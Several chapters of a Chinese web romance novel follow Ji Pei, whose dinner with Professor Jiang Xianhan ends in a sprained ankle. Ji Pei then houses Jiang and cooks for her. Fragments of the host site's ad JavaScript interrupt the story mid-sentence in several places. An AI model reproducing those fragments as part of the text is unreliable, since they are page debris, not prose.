季裴点开一看,对方是想过来给她送衣服。 魔鬼江:【衣服洗干净了,你家住在哪里,我来给你送衣服】 送衣服这种事情,季裴总觉得哪里怪怪的,具体怪在哪里,她也说不上来。 闲着无聊,季裴打开搜索引擎,输入江羡寒的名字,首先出来的就是人家的家族企业。 某某顶奢珠宝行业的唯一继承人,十五岁就读于MIT,最后面缀着的那个才是A大哲学副教授,这是她最不值得一提的事迹了。 看来,在A大当教授教学生只是她的副业。 季繁揉揉眼睛,怎么看怎么觉得这是小说里主角才拥有的身份。 她又换了谷歌浏览器,重新搜索了一遍,还是这个简介。 一个人的人生怎么会精彩成这个样子,季裴正感叹着,差点就忘记回复对方消息。 具体该怎么回呢? 季裴托着两腮一脸苦恼,很快就振作了起来。 怕什么,弄脏了她衣服的是江羡寒,对方理应给她洗干净亲自送上门,怎么反倒是自己做贼心虚了似的。 摆正好自己和江羡寒如今的位置,季裴从购物软件上把地址复制粘贴到微信,发给了江羡寒。 魔鬼江:【我下午五点到】 下午五点…… 季裴摸着下巴,心想要不要趁着这个时候出去避一避,让季繁在家里接待一下。 但是如果这样做的话,江羡寒一定会觉得自己是怂包,不敢见她。 想到这里,季裴心中顿时底气十足,她把那套兔子睡衣给换了下来,换上了一身休闲得体的家居服。 这身兔子睡衣已经给季裴带来了不小的阴影。 她都多大的人了,在外面穿着它跑来跑去,还被江羡寒给看了个正着,她肯定背地里偷偷笑自己是个幼稚鬼。 随便吃了点午饭,季裴就坐在沙发上打游戏,时不时地盯着腕表,隔半小时看一次。 一晃眼就快下午五点了,季裴看腕表的频率,从半小时看一眼,缩减成了五分钟。 季繁端着水果沙拉坐在她身边,见季裴玩游戏都心不在焉的,还一直盯着她那只表看。 “姐姐,你在干什么?好怪异的行为,你该不会是被什么脏东西给附体了吧?” “江羡寒五点要来给我送衣服,我掐着表看她会不会准时。” 季繁瞳孔骤缩:“你说什么?江羡寒要过来!你怎么不早说!” 季裴一脸莫名其妙:“你又没问我。” 季繁踩着拖鞋来不及换,朝着门口边跑边喊:“姐姐你到底跟谁是一队的!” 她背对着打开的门,朝着沙发上的季裴喊:“在江羡寒来之前,我要出门避避风头,她要是问起我,你就说……” “说什么?” 季繁的话被打断。 一只修长白皙的手扶着大门,江羡寒半张脸被季繁乱糟糟的头发遮挡住。 她的手里还拿着一只提包,正微笑地注视着说话声戛然而止的季繁。 还有沙发上捏着狗耳朵的季裴。 江羡寒唇角含着浅浅的笑意。 “我能听听么?” 12.请客 三人面对面坐着,季裴的对面是江羡寒,季繁则抱着怀里的雪白肥团子,整个后背都蜷缩在沙发上。 气氛如此古怪,江羡寒仿佛并未察觉似的,她把手提袋放在季裴面前的桌子上。 “你的外套,我已经洗干净了。” 季裴笑了笑,她总觉得自己有种皮笑肉不笑的感觉,但是自己又没什么理由这样做。 “江教授好不容易来一趟,现在都到饭点了,要不在我家吃顿晚饭再走吧。” 季裴心想,按理来说,一般这种情况下,正常人都知道这句话是客套看,她江羡寒肯定…… “好啊。” “……” 回答得也太爽快了,令季裴猝不及防。 季裴唇角的笑容逐渐凝固,她稍微僵硬地抬起头,对上了江羡寒的眸子。 江羡寒的眸子清澈无比,还含着淡淡的笑意,而且她今天好像换了一副新眼镜,边框是银色的。 季裴错了…… 她大错特错了…… 她为什么脑子抽了要让江羡寒留下来吃完饭。 季裴有些心虚,转头看了一眼抱着猫的季繁,觉得非常对不起自己的亲妹妹。 季繁看懂了她的眼神,把猫丢在沙发上,站起来说:“我现在就去做饭!” 季裴也准备站起来,不过她很快就坐下了。 毕竟来者是客,江羡寒是客人,她必须要坐在这里陪着对方聊天,否则也就太没有礼貌了。 但是…… 现在这种情况下,她要说些什么呢? 如果她是季繁的高中老师就好了,季裴完全可以问对方的功课,然后再扯一些有的没的。 现在只能硬着头皮聊了。 “江教授。” 季裴说完这三个字后,咽了两下嗓子:“您家住在什么地方啊?来一趟会不会很远?” “还好,我住在S市。” “那还是有点距离的,坐高铁都要一个小时呢。” 季裴的微信消息提示铃响了,打开一看,是在厨房里的季繁发来的,问江羡寒想吃什么。 “江教授,您想吃什么啊,让我妹妹做。” “什么都行,家常菜也可以。” “家常菜……” 季裴嘟囔了一下,在屏幕上打字。 发消息过去后,季裴抬起头,不太好意思地笑了两下:“江教授,季繁她有点社恐,怕人,你不要介意啊。” 季繁在厨房里忙着搜菜谱炒菜,一个不留神把盐罐子全打翻进锅里了,一锅炒土豆丝彻底报废。 季裴也不知道厨房发生了什么,她见江羡寒的目光落在客厅右边的小型吧台,解释了一下。 “这是我自己建的吧台,平时喝酒喝茶什么的。” “江教授会喝酒吗?” “会一点。” 季繁这个新手做饭,还不知道要做到什么时候,但是空腹喝酒对身体又不好,季裴打消了给江羡寒调酒的念头。 她找出许久不曾用的紫砂壶,又取出一块普洱茶饼,打开包装,用刀子切下来一块,放了进去。 像江羡寒这个年纪的女人,应该会喜欢喝茶的吧。 而且她这块茶饼也不便宜,还是当年她奶奶留下来的,听说放到现在也好几十个W,是买来收藏用的。 前些天雪媚娘不知道怎么跳上了橱柜,咬坏了一个口,季裴本着不浪费的原则,每天切一块泡水喝。 她对品茗这件事没什么造诣,不过客人来了,还是要拿出一副好态度来的。 “江教授,这是我奶奶留下来的普洱茶,你尝尝。” 茶汤清亮,香气浓郁,从壶嘴倾泻出来的那一瞬间,江羡寒就闻到了茶香。 季裴觉得这次泡出来的茶颜色更好看,香味也更浓,估计是换了紫砂壶的原因吧。 她平时喝茶就非常随便了,切下来一块往开水里一丢,当凉茶一样喝。 怪不得她妈刘艳芬女士,总是说她山猪吃不来细糠。 江羡寒浅啜一口:“好茶。” · 过了将近十分钟,季繁从烟熏火燎的厨房走了出来,站在季裴身后,一脸哀怨。 “姐姐,要不我们和江教授出去外面吃吧,我觉得你们一定不想吃我做的东西。” “人家江教授头一次来咱家,你这个做学生的可不得好好表示表示,出去吃多没诚意啊。” “可是……” 为了证明自己的厨艺,季繁特意回到厨房把锅端了出来。 “我本来想给你们做糖醋里脊的,结果做成了炭烧的。” 季裴打开锅盖,看着里面那一块块焦黑的东西,用已经糊掉的筷子搅拌了几下,一脸诧异。 “碳是好碳,但是这里脊在哪呢?” “……” 见季繁沉默寡言的样子,季裴盖上锅盖欲言又止:“江教授,要不我们还是出去吃吧。” · 三人来到车库,季繁上来就打开主驾驶车门,准备坐进去,被季裴一把揪住后衣领。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “你坐后面去。” 江羡寒坐在副驾驶上,见季繁像个鹌鹑一样,迟疑了一下:“要不,让她试试?” 所有人都系好安全带后,季裴回过头解释。 “她上个月刚拿驾照,第一次开就追尾了人家的自行车,那人现在还在医院骨科病房里躺着呢。” 季繁缩在后座敢怒不敢言,委屈巴巴道:“姐姐,这种事情你就不要和江教授讲那么仔细了,我不要面子的吗。” 季裴语重心长道:“江教授,我是害怕您的人身安全受到威胁。” 江羡寒思索了一下,说:“那好吧,还是你开。” · 季裴的这辆车是紫色帕拉梅拉,车内有股淡淡的花香味,后座上还放着几只狐狸玩偶。 江羡寒的目光被摇摇晃晃的那只平安符给吸引了,那是一只穿着衣服的暹罗猫挂件,下面还缀着几枚铜钱。 季裴见江羡寒一直盯着自己的暹罗猫毛绒挂件看,笑着说:“这是我自己勾的暹罗猫玩偶,勾小了,干脆挂在车上当挂件,灵隐寺的大师还特意开过光的。” 江羡寒收回目光,目视前方:“很可爱。” 途中经过叶文竹的花店,季裴被坐在店门口的她给拦了下来。 季裴的车非常好认,叶文竹一眼扫过去就知道是她的,而且她的车牌号还很特殊。 JING A SB886 这个号怎么看都是在骂人。 之前叶文竹开车跟在季裴这辆车后面,看到这个车牌号后,恨不得一脚油门加速撞上去,实在太招仇恨了。 保时捷缓缓停下,季裴摇下车窗,见叶文竹走了过来。 “叫我过来有什么事吗?” 车窗摇下去的那一瞬间,叶文竹看见副驾驶座上的人后,差点咬到自己的舌头。 “江教授,您怎么……” 季裴:“江教授今天来我家做客,我们现在准备去吃饭呢。” 季裴用眼神暗示叶文竹上来:“文竹,你没吃晚饭吧,要不你也一起来?” 叶文竹连连摆手,恨不得现在就逃。 “不不不!我下午还有订单呢,忙得不可开交,我先回去了,你好好跟江教授过你们的二人世界吧。” “……” 车窗摇了上去,一时间车内鸦雀无声,季裴一脸尴尬地盯着那只暹罗猫挂件。 “不好意思啊江教授,文竹她就是贫嘴,你不要跟她一般见识。” 江羡寒语气淡淡的:“不会的。” 13.扭伤 “江教授平时都喜欢什么口味啊?能吃辣么?” 季裴开着车,偏过头看了一眼副驾驶上的江羡寒。 江羡寒的侧脸恬静而优雅,轻轻摇头:“我不太能吃辣。” 季裴收回目光,在心里默念。 记住了,江羡寒不吃辣。 既然不吃辣的话,那这可供选择的美食就少了。 吃饭不吃辣,味道减一半。 她透过内后视镜看见了耷拉着脸的季繁,说:“季繁,你在手机上找找有名的粤菜馆,先订座位,我们开车过去。” 季繁突然被点到名字,哪怕是季裴叫她,她都有种坐在教室里被点到名的危机感。 “嗷,好的。” 季繁打开手机搜索,在大众点评上找到一个店面干净,评价都很不错的粤菜馆,然后把手机递给季裴。 “姐姐,这家不错,你看看怎么样,没问题我就下单了。” 季裴接过手机翻了一下菜品,发现确实还可以,然后又把手机递给了江羡寒。 “江教授,你看这家怎么样?” 江羡寒的手指挨着手机,她见季裴的手指捏着手机下半段,似乎是想跟自己避嫌。 “嗯。” 既然江羡寒都说好了,那这家应该还不错,如果真的不好吃的话,那也是江羡寒选的。 季繁坐在后座打电话预订包间,刚打完电话就“哎呀”了一声。 “姐姐,我忘记给蛋黄派它们准备晚饭了。” 季裴开车目不斜视:“你给你文竹姐姐打个电话,让她到咱们家里喂,她来过很多次了,熟得很。” 这话说者无心,听者有意。 季裴开车盯着前面的车屁股,没有注意到江羡寒眸子里一闪而过的诧异,还有她微微蹙起的眉头。 后座响起嘟嘟的电话铃,叶文竹接了电话,听到季繁说让她去喂猫喂狗后,在手机里口吐芬芳。 “喂狗?上次你家蛋黄派把我裤腿都咬烂了,我那条裤子是香奈儿的,你赶紧把钱打给我,否则免谈。” 季繁还开着免提,一整车的人都被叶文竹滔滔不绝的语言艺术所折服。 短短半天内,姐妹两个的糗事都被江羡寒给撞了个正着。 季裴恨不得打开安全气囊,把头埋进里面藏起来,大不了把自己给憋死,也不想在江羡寒面前出丑。 她假装回头让季繁关掉免提,一只眼睛在往回挪的时候偷偷看了一眼江羡寒,发现对方没有露出任何表情后,松了一口气。 “文竹也真是的,那都什么时候的事了,现在还记着,真是小心眼。” 哪怕关掉免提,叶文竹絮絮叨叨的声音还是传进了季裴的耳朵里。 她朝后看了一眼:“季繁,把电话挂了,她会去的。” 季繁半信半疑地挂了电话:“真的吗?我听她骂你骂得好凶。” 季裴舔了舔上唇:“她今天要是不去我们家喂狗,回来的时候我就去捣毁她的花店。” 许久不说话的江羡寒突然发声:“你和叶文竹是大学同学?” “是啊。” 季裴一提到叶文竹,就觉得有点对不起人家,如果不是因为她,叶文竹也不会被全班大部分人孤立。 不过物以类聚,和谢贞关系好的那些人,都不是值得深交的。 江羡寒嗓音听起来淡淡的:“你们关系还挺好的。” 她说完,转头看向窗外车水马龙的街道。 这个时间点有些堵车,季裴见红灯就停了车,刚准备开口,季繁就开始抢答了。 “是啊江教授,文竹姐姐跟我姐姐是过命的交情,有时候我都觉得她对文竹姐姐比对我还亲。” 季裴:“……” “你不是社恐内向么,怎么一口气说这么多字?” 季繁赶紧闭上嘴巴,假装若无其事地观察其他车辆。 季裴的车是紫色的,在众多黑白车中尤为醒目,尤其是她的车牌,每次出行必会遭到围观。 季繁打开手机刷视频,正好刷到了一条实时的。 视频中是一辆紫色保时捷,她越看越觉得眼熟,而且这个车牌号一看就是季裴的。 “姐姐,你的车牌被人拍下来发到网上了。” 季裴见绿灯亮起,脚踩油门:“之前又不是没被拍过。” 江羡寒一听来了兴趣:“是什么车牌号?” “就是……” 季裴欲言又止,她不知道具体该怎么跟江羡寒解释。 季繁把手机拿到江羡寒面前,说:“江教授你看,这就是我姐无意之间选的随机车牌号,很拉风吧。” 江羡寒借着季繁的手,看清了视频里的车牌号,忍不住弯了弯唇角。 又是一个红灯,季裴刹车,看见两人凑在一起讨论她的车牌号,叹了一口气。 “江教授,你信我,这个号真的是我随机摇到的。” 季裴仿佛在一瞬间 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 陷入了自证危机,她为什么要跟江羡寒解释这个。 · 十分钟后,季裴开车到了那家粤菜馆。 店里生意果然火爆,而且外面一群排队的,都是三三两两聚集在一起,还有不少小情侣们。 幸好季裴让季繁提前订好了位置,否则又要像门口那群乌泱泱排队的人一样,找地方蹲着排号了。 季裴带着江羡寒和季繁来到前台,不知道是谁说了一句小心台阶,只不过声音太吵了,季裴没听见。 江羡寒站在季裴身边的台阶上,季裴在确认完人数后转过身,结果却一脚踩空了。 身形不稳,急速下坠。 周围传来一阵不小的惊呼。 季裴整个人砸在了江羡寒身上,她整张脸都埋进了对方胸口。 柔软温热。 裹挟着淡淡的清香。 强劲有力的心跳通过肌肤传递,季裴大脑一下子就宕机了。 “对……对不起江教授!” 她双目微睁,赶紧从地上爬起来,抓着江羡寒的手臂,把人从地上拉了起来。 “等一下……” 江羡寒眉头紧皱,牙关紧咬,额头上渗出了细密的汗珠。 季裴见她面色反常,赶紧凑上去问:“你怎么了?” 江羡寒无力地挨着季裴的手臂,靠在她的肩头,试着晃了一下自己的脚踝。 “好像……扭到脚了。” · 医院急诊。 在分诊台挂完号,季裴推着轮椅送江羡寒进了外科诊室。 医生检查了一遍江羡寒的伤势,在电脑上下了医嘱。 “你这个右脚扭伤有点严重,最好拍片看一下有没有骨裂。” 江羡寒嘴唇发白,似乎是疼得太厉害,季裴赶紧说:“好的医生。” 季繁坐在外面等着,见两个人出来后脸色都不太好。 “姐姐,江教授怎么样了,扭伤严不严重啊。” “医生说拍个片子看一看,我推江教授过去,你就在这里好好呆着,饿了自己买吃的。” 到了影像科,季裴拿出医嘱单交给工作人员。 她蹲在江羡寒面前,帮对方脱掉鞋袜,抿着嘴唇一脸严肃。 江羡寒本想安慰她一下,说也不是特别疼,结果却听见季裴极小声地说了一句话。 她抬起头,眼神真挚诚恳。 “江教授,这段时间我会对你负责的。” 14.擦药 季裴拿到报告的时候,天色已经渐渐晚了下来,即将步入夜色当中。 万幸的是,骨头没有裂开,只是韧带部分撕裂,不过光是这些也够江羡寒受的了。 医生开了一些跌打损伤的药,季裴推着从急诊借来的轮椅,把江羡寒推到一个安静的地方,自己跑去急诊药房取药。 季繁饿了一晚上,在便利店吃了一碗关东煮,吃完又打包了两份带到了车上。 “我拿好药了。” 季裴把那几盒跌打损伤药放在包里,推着轮椅走出急诊大门。 这轮椅是借来的,季裴把江羡寒搬运到副驾驶上,又折返回去送轮椅。 季繁殷勤地帮江羡寒整理好安全带,捧了一碗热气腾腾的关东煮,放在江羡寒面前的小桌板上。 “江教授,你饿了吧,我买了关东煮,给你放的是清汤,你吃一点垫垫肚子。” 季繁还拿出一瓶加热过的鲜牛奶:“还有这个,这是我姐姐让我买的,她说你肯定饿了。” 江羡寒接过季繁递来的牛奶,掌心紧贴温热的玻璃瓶,转头就看见季裴急匆匆地跑了过来。 她坐上副驾驶,系好安全带,一脸抱歉地说:“江教授,你之前说你住在S市。” 江羡寒抱着牛奶瓶暖手,点点头:“嗯。” 季裴盯着她微微发白的嘴唇,顿了一下:“S市太远了,现在回去的话太不方便,不如这样,这段时间您就住在我家吧。” 江羡寒闻言,注视着季裴满是歉意的眸子,说:“那这样的话,会不会太打扰你了。” 她说着就拿出手机,打开购票软件:“S市也不远,一个小时就能到,要不我还是……” “江教授。” 季裴一脸诚恳:“这件事都是因我而起,你受伤了腿脚不方便,一个人回去不安全,我看新闻上说S市前段时间有尾随跟踪狂,太危险了。” 江羡寒轻轻眨了一下眼睛:“好像是有这么回事。” 季繁闻言赶紧附和:“是啊,江教授您就别回去了,过了明天就要回学校上课,一来二去多不方便呀,就住在我们家吧。” 江羡寒思考了一会儿,季裴一只手撑着方向盘,注视着对方,她在等江羡寒的肯定。 “那好吧,不过这段时间就麻烦你了。” 季裴勾起唇角,总算呼出一口气。 江羡寒两只手捧着玻璃牛奶瓶,拧了两下瓶盖,似乎是用了非常大的力气,但是这个瓶盖似乎是和瓶口长在一起了,她怎么都拧不开。 季裴正要开车离开医院,江羡寒把牛奶瓶递到她面前,说:“我拧不开。” 季裴接过牛奶瓶,稍微一用力就拧开了。 “牛奶还是热的,趁热喝了吧,我们现在就过去。” 她转头叮嘱季繁:“你订一只轮椅,江教授走路不方便,总不能让人家拄拐吧。” 江羡寒小口小口喝着温热的纯牛奶,瓶口有点大,乳白色的牛奶沾染上她的唇角。 原本微微发白的嘴唇,在热牛奶的浸润下,逐渐有了血色,变得红润起来。 季裴看了一眼对方现在舒缓下来的模样,松了一口气。 “本来打算请江教授您吃粤菜的,结果闹出了这么一档子事,下一次我们不去那一家了,换个新的粤菜馆。” 江羡寒注意着周围的参照物,发现她们的车在朝着反方向行驶。 过了将近十分钟,当她们的车从A大校门口经过时,江羡寒忍不住出声。 “我们是不是走错路了。” 季繁闻言抢先回答说:“没走错,就是这里。” · 车子缓缓驶入一片枫叶林中,如今到了枫叶红的季节,江羡寒借着路灯都能看见火红色的枫树叶。 保时捷停在一栋三层别墅前,江羡寒盯着眼前这座独栋别墅,迟疑道:“这里……” 季裴解释说:“这也是我家,不过我好久没回来住了。” 车子缓缓驶入车库,诺大的车库里还有两辆跑车,江羡寒扫了一眼车标,应该是收藏用的兰博基尼跑车。 她解开安全带下了车,走到副驾驶车门前,继续说:“这里很安静,风景空气都不错,治安也很好,左转就是公安局。” 打开车门,季裴朝着江羡寒伸出右手。 “江教授,下来吧,慢一点。” 江羡寒握住她的手,借着季裴的力气,用左脚支撑住身体,缓缓下了车。 因为脚踝断断续续传来痛感,江羡寒的动作又轻又慢,只是一个简单的下车动作,都被她拆分出零点五倍速了。 季裴并没有因为江羡寒的慢而产生任何不快,反而是时时刻刻注意着她的脚下,还把几片没有任何威胁的干树叶给踢走了。 季繁推着轮椅过来了:“姐姐,这个轮椅好像是自动的,还挺高科技。” 季裴没想到送来的那么快,她还打算把江羡寒背进去,现在看来不需要了。 · 客厅门从里面打开,入目就是中式风格的布置,古色古香。 不过与众不同的是,客厅最显眼的位置上,裱着一副巨大的梅花油画,颇具西方浪漫主义色彩,象征着冬日里招摇的热烈。 将这两种风格放在一起,听起来是有些格格不入,可江羡寒觉得这是一种浓烈的撞色,屋主人非常有品味。 房子的主人正是季裴,这幅画也应该…… 季裴见江羡寒一眨不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 眨地盯着那幅油画,有些不好意思地抓了抓头发。 “这个是我上初中时候画的,瞎画一气,我妈说梅花应该用墨水画,更显文人风骨。” 江羡寒弯了弯唇角:“艺术这种东西,比风还难捉摸,人人都能成为艺术家。水墨画虽美,可油画又何尝不是一种创新。” 季裴听了江羡寒的话,觉得自己找到了知己。 · 买给江羡寒的关东煮她没来得及吃,季裴觉得给江羡寒吃这些东西有点掉价,就让季繁加热一下吃掉了。 粤菜没吃成,现在这个时间点,那些比较正规的餐厅都打烊了,点外卖都是垃圾食品。 江羡寒喝完牛奶并不饿,她坐在沙发上,右边裤腿稍微挽了上去。 季繁晚上吃太多,喝了冷饮还吃了三份关东煮,一到家就奔向卫生间。 季裴打开提包,把跌打损伤药拿出来,是两瓶喷雾,还有一瓶红花油。 她拿出来打开包装,放在桌子上,开始查看说明书。 喷雾季裴倒是没用过,她只记得季繁小时候扭伤脚踝,用的是红花油。 方法很简单,只需要倒在手心,涂抹到患处,用掌心揉捏促进吸收就好了。 “江教授,先把鞋子脱掉吧,让我看看你的脚怎么样了。” 江羡寒有条不紊地脱掉鞋袜,原本白皙细腻的脚背,此刻肿得鼓了起来,还泛着淡淡的淤青,脚踝也是肿的。 季裴屏住呼吸,没想到居然肿成了这个样子,心中又是一阵不安。 如果不是因为她走路不看路,摔下楼梯,还正好砸到江羡寒身上,对方也就不会因此扭到脚。 “把药油给我吧,我来擦。” 江羡寒弯腰去摸自己的脚踝,却怎么样都找不出来合适的体位,急躁之下拉扯到了患处,疼得她倒吸一口凉气。 季裴拿起一只枕头,垫在江羡寒的小腿下面,拿出气雾剂喷在她的脚踝上。 一股清凉的中药味扑鼻而来,季裴喷了几下,把红花油收了起来。 她觉得这个不需要用,而且肢体接触过于亲密的话,就超出正常的社交距离了。 季裴低着头,两只手紧紧攥着喷雾,叹了一口气,全盘托出。 “江教授,其实……我是个女同,我还有女朋友,你不会害怕我吧?” 言外之意,江羡寒听懂了。 “性取向是每一个人从生下来就有的权利,理当尊重。” 季裴偷偷松了一口气,又把那瓶红花油拿了出来。 江羡寒将季裴所有的小动作尽收眼底,唇角不自觉地微微上扬,带着点不易察觉的得意。 “你很负责,你的伴侣一定是个很幸福的人。” 15.报备 “那我就先走了。” 季裴坐在沙发上,陪着江羡寒聊了一会儿。 她抬起手腕看了一眼时间,现在已经将近晚上八点钟了,江羡寒受了伤,需要好好休息。 卫生间的季繁一只手捂着肚子,另一只手扶着门框,颤颤巍巍地走了出来。 “你怎么回事?要不要去医院看看?” 季繁摇摇头:“不用了姐姐,我是辣的吃多了,还吃了两根冰淇淋。” 季裴见季繁走了过来,原本准备在她后脑勺拍一拍,最后又及时收住了手。 “看你以后还敢不敢吃独食,都不知道给我跟江教授来一根。” 季繁耷拉着脑袋,像一只被批评的萨摩耶。 “姐姐我错了。” · 走之前,季裴拿出手机,打开外卖软件,给江羡寒点了个蒸蛋。 现在的外卖,大多都是预制菜,就连蒸蛋都不例外。 季裴刚下完单,又把订单给取消了,她觉得江羡寒不像是会吃这种东西的人。 万一外卖不干净,给人家吃拉肚子了,那可不就是雪上加霜。 季裴之前吃过一次外卖蒸蛋,又咸又腥,一点都不好吃。 那现在该怎么办呢,季裴冥思苦想,脑子里突然有了一个主意。 来到车库,季繁依旧不死心地想试试开车,结果又遭到了季裴的一记眼刀。 “你不是肚子疼?我带你去医院看看,开点药吃。” “不用了不用了!” 季繁老老实实坐在后座,摇摇头说:“赶紧回家吧,我最怕去医院。” 季裴唇角勾起:“那今天陪江教授去医院,你怎么一句话都不说?” “那不一样好吧。” 季繁嘟囔着:“要不是你走路不看路,江教授怎么可能扭到脚啊,你说她还能上课吗?” 季裴也不知道。 “像江教授这么身残志坚的人,就算是推着轮椅也要去教室。” “姐姐你怎么知道?” 季裴一脚油门:“我猜的。” 其实季裴是想让季繁多练习一下开车的,只不过现在这个时间点,正是堵车的高峰期。 这两个地址离得虽然只有几公里,季裴硬是被堵了二十多分钟才到家。 · 回到家,打开门,叶文竹正笑嘻嘻地坐在沙发上逗狗。 见到季裴姐妹俩开门进来,脸上的笑容瞬间就收敛了起来,她绷着一张脸,似乎是一副兴师问罪的表情。 “你们两个终于回来了,只知道跟新欢出去吃饭,忘记我这个苦守寒窑的叶宝钏!” 季裴直接奔向厨房,叶文竹见状站起来跟上去,被季繁给拉住了手臂。 “文竹姐姐,我姐姐是去给江教授做饭呢,你不要打扰她。” 叶文竹一脸诧异,目光在季繁空无一人的后背徘徊。 “江教授?她在哪呢?你们不是去吃晚饭的吗?” “我们刚进餐厅,结果我姐姐不小心摔倒了,正好砸到江教授身上,脚扭伤了,动都不能动。” 叶文竹摩挲着下巴:“那确实该赔礼道歉,毕竟伤筋动骨一百天,怎么好端端吃个饭搞出这种事情?” 季繁猜测:“也许是我姐姐跟江教授八字不合?” 叶文竹肯定地点点头:“我觉得也是,你看她替你去上课,被江羡寒给抓了,吃个饭,江羡寒又扭到脚了,她们也许真的是八字相克呢。” · 厨房里,季裴快速打蛋搅蛋蒸蛋,然后还抽空做了一碗香喷喷的鸡汤肉丝面。 闻到气味的季繁直接飘了过来,扒拉着厨房门,一脸惊讶:“姐姐,你真的要给江教授送饭啊?” 叶文竹站在一旁,耷拉着脸没好气地说:“看看,这就是五年的好朋友,还没有认识两天的女人重要呢。” 季裴把蒸蛋和汤面,分开装进饭盒里,走到叶文竹面前,捏了一下她的耳朵。 “你眼睛出气用的,看见那两碗面了吗,做给你跟季繁的。” 叶文竹一下子就笑得谄媚起来:“哎哟,我刀子嘴豆腐心你又不是第一天认识我,路上注意安全。” 季裴拿起手机,看了一眼时间,给江羡寒发消息。 季裴:【江教授,你睡了吗】 季裴:【先别睡】 江羡寒洗完澡,用毛巾擦拭着还在滴水的发梢,见手机闪了又闪,拿起来一看,是季裴发的消息。 她没顾得上擦头发,捏着手机开始打字。 魔鬼江:【还没有】 季裴见江羡寒秒回,终于松了一口气,把做好的蒸蛋和肉丝面装进饭盒,拿好钥匙,提着包就出了门。 · 去的路上倒是畅通无阻,季裴十分钟就到了别墅。 她打开门,江羡寒正坐在沙发上拨弄一只花瓶,两人恰好四目相对。 “江教授。” 季裴不知不觉就放缓了嗓音,把手里的提包放在她面前的桌子上。 拉链拉开,里面是一只保温袋,两个可爱的米老鼠陶瓷饭盒,一大一小,圆乎乎的。 季裴把两个饭盒摆放在桌子上,拿出崭新的筷子和勺子。 “江教授,这是我做的,蒸蛋和鸡汤面。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 季裴淡红色的唇瓣微微抿起来:“没有放辣椒,你应该吃得习惯。” 江羡寒坐着,她盯着那两个饭盒良久,抬起头注视着季裴的眼睛,唇角弯了弯。 “谢谢你。” “本来就是我的错,你来的时候还好好的。” 季裴说完,晃了晃手里的钥匙圈:“江教授,那你吃饭吧,我先走了,有什么需要就给我发消息,我随时都在。” 她出了门,却没直接离开,而是坐在后花园的秋千上,拿出手机打开了分贝。 今天到底是什么日子,怎么这么倒霉,喝凉水都塞牙,还让江羡寒平白无故遭受到了无妄之灾。 季裴觉得自己真该找个先生好好算算,她跟江羡寒是不是八字相克。 软件的图标变了,之前是一个粉色爱心,现在这个爱心变成了一个红色唇印,看起来成熟了许多。 不过季裴点进去看的时候,却发现弹出了一个维修公告。 公告上显示,系统出了bug正在维修,有一些基础功能暂时无法使用。 季裴点开冬日的头像,发现自己和她之间的距离消失了,应该就是这个实时距离暂时看不到了吧。 她坐在秋千上晃来晃去,鞋底和飘零的枫树叶摩擦出声音。 季风:【老婆,我错了】 季风:【我没看清楚路,害得我朋友摔倒了,还扭伤了脚】 季风:【我送她去了医院,医生说至少要一两个月才能痊愈】 季风:【她家离得太远了,我就让她住在我家之前的老宅了】 她一个字一个字地敲打,感觉这样太慢了,想给冬日打电话,却发现语音聊天功能也暂时不可用。 【对方正在输入……】 冬日:【你怎么样,有没有受伤】 季风:【我没有,她正好给我当了肉垫,否则我现在就头破血流了】 季裴看着别墅窗户透露出来的暖色光线,继续打字。 季风:【我给她做了吃的,现在的外卖太脏了】 冬日:【做了什么好吃的】 季风:【蒸蛋,还有一碗鸡汤面】 季裴盯着冬日的头像,眼底的笑容逐渐浮现。 她弯腰捡起一片枫叶,借着路灯看清了树叶的纹理脉络,浑身上下充斥着孤寂的味道。 季风:【我好想见见你呀,等我们见面了,我也做给你吃好不好,我会做很多好吃的,只有你想不到,没有我做不出来的】 冬日那边编辑了很久,季裴盯着上面的那个“正在输入中”看了将近一分钟。 冬日:【好】 16.双标 季裴开车回家后,打开门直接躺在了沙发上。 她的肚子现在很饿,但是又懒得起来弄吃的,但是很快一根烤肠就送到了她的嘴边。 叶文竹把竹签递给她:“这是我跟繁繁去外面买的。” 季裴接过烤肠,叶文竹见她稍微有些空洞的情绪,忍不住问:“你怎么啦?江羡寒讹上你了?让你赔偿她医药费和精神损失费?” “没有的事,我只是……有点自责。” 叶文竹和季裴维持了五年的友谊,她很了解对方的性格。 季裴是个道德感非常强烈的人,但是又不会过于死板,反而小脑瓜子灵活得很。 “但是事情发生了就是发生了,也没办法改变什么。” 叶文竹抱着煤球猛吸了一口,咬了一嘴猫毛吐出来:“呸呸,要我说啊,你已经尽职尽责了,而且你也不是故意的,再说江羡寒也没说什么,你就别内耗了。” 季裴狠狠咬了一口爆汁烤肠,点点头:“说的也是,江羡寒脾气真挺好的,我之前还偷偷说人家的坏话,现在跟她道歉应该也不算晚。” “就上次她点你名那件事?” 叶文竹一提到这件乌龙就想笑,最终倒霉的还是季繁。 谁也没想到,一个选修课,居然还要求重修,不过这件事发生在江羡寒的课堂上,那就是再正常不过的事情了。 “是啊,我跟我对象吐槽了她一会儿,不过代课也确实是我跟季繁的问题。” 叶文竹见她心情不大好,干脆转移话题开始讲八卦。 “江羡寒不是咱们A大高岭之花嘛,我们刚离开学校没多久,建筑系就有个女学生,对江羡寒图谋不轨,还偷偷在人家水杯里下了药,最后被警察抓起来了。” 季裴一听就来了精神,刚才奄奄的情绪一扫而空,眸底一片震惊。 “这是什么时候的事?我怎么不知道?你为什么不跟我说?没有得逞吧?” “得逞倒是没有,这也是我前几天听之前建筑系学姐说的,那闹得风风雨雨,整个学校都知道了。” 季裴有些纳闷,但一听说是江羡寒,就不觉得奇怪了,毕竟江羡寒的长相在那放着。 身材,学历,相貌,随便一个单拎出来都无人可敌,简直就是天菜级别的人物。 但是这也太危险了吧,和当初谢贞对她做过的那些事情相比,简直是小巫见大巫。 · 江羡寒静静地坐在沙发上,目光始终落在季裴送的那两只饭盒上面。 季裴刚才还说让她趁热吃,江羡寒左腿支撑着身体,垂落在地板上,右腿还保持着之前的姿势不动。 季裴临走前,用毛巾固定住了她脚踝上的冰袋,还特意叮嘱她不要随便下来走动。 这下,洗头洗澡可就成了难事。 